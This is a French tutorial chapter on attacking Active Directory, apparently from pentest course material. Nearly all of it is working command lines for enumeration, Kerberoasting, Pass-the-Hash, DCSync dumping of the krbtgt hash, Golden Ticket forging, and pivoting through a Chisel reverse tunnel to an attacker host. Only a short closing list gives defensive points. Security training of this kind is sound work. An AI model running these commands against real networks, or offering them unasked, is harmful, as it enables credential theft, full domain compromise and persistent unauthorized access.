2. Active Directory : attaques et pivoting

Active Directory (AD) est le système d’annuaire de Microsoft utilisé par la quasi-totalité des entreprises pour gérer utilisateurs, ordinateurs et droits d’accès. Compromettre un domaine AD est l’objectif ultime de nombreuses attaques avancées (APT). Ce chapitre couvre les techniques d’attaque les plus répandues contre les environnements AD.

Rappels sur Active Directory

Composants clés :
  Domain Controller (DC) → Serveur qui héberge l'annuaire LDAP + Kerberos
  Domaine               → example.local
  Forest                → Ensemble de domaines liés par des trusts
  OU (Org Unit)         → Conteneurs pour organiser objets et GPO
  GPO                   → Group Policy Objects (politiques appliquées)
  SPN                   → Service Principal Name (identifiant de service Kerberos)

Énumération AD (sans compte)

# Découverte de DC avec nmap
nmap -p 88,389,445,3268 192.168.1.0/24

# Énumération LDAP anonyme
ldapsearch -x -H ldap://192.168.1.10 -b "DC=example,DC=local"

# Avec BloodHound (avec compte de domaine)
bloodhound-python -u user -p Password123 -d example.local -dc 192.168.1.10 -c all
# Importer les JSON dans BloodHound → visualiser les chemins d'escalade

Kerberoasting

Kerberoasting extrait les tickets Kerberos des comptes de service (ayant un SPN) et les crack hors ligne.

# Avec Impacket (depuis Linux)
GetUserSPNs.py example.local/user:Password123 -dc-ip 192.168.1.10 -request -outputfile hashes.txt

# Craquer les hashes avec hashcat
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

# Avec PowerView (depuis Windows dans le domaine)
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat | Export-Csv hashes.csv

Pass-the-Hash

Si NTLM est activé, le hash d’un mot de passe peut être utilisé directement sans connaître le mot de passe en clair.

# Extraire les hashes NTLM (nécessite admin local ou SYSTEM)
# Avec secretsdump (Impacket)
secretsdump.py example.local/admin:[email protected]

# S'authentifier avec le hash (Pass-the-Hash)
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
          example.local/[email protected]

# Via CrackMapExec
crackmapexec smb 192.168.1.0/24 -u admin -H 31d6cfe0d16ae931b73c59d7e0c089c0

DCSync : dump de tous les hashes

# Avec les droits Replication Directory Changes (DA ou délégué)
secretsdump.py -just-dc example.local/admin:[email protected]

# Extraire le hash du compte krbtgt (pour Golden Ticket)
secretsdump.py -just-dc-user krbtgt example.local/admin:Pass@DC_IP

Golden Ticket

# Créer un Golden Ticket avec le hash krbtgt
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain example.local utilisateur_forgé

# Utiliser le ticket
export KRB5CCNAME=utilisateur_forgé.ccache
psexec.py -k -no-pass DC.example.local

Pivoting réseau

# Chisel : tunnel TCP via HTTP (bypass firewall)
# Serveur (attaquant)
./chisel server -p 8080 --reverse

# Client (machine compromise)
./chisel client attaquant.fr:8080 R:1080:socks

# Proxychains : router les outils via le tunnel SOCKS
proxychains nmap -sT -Pn 10.10.10.0/24

# SSH dynamic forwarding
ssh -D 1080 -N user@machine_compromise
proxychains firefox
Points clés :

  • BloodHound visualise les chemins d’escalade de privilèges dans AD
  • Kerberoasting craque les comptes de service hors ligne, sans alerte immédiate
  • Pass-the-Hash fonctionne si NTLM est activé — désactiver NTLM v1 en priorité
  • Le Golden Ticket donne un accès persistant même après changement de mot de passe
SEE ALL Add a note
YOU
Add your Comment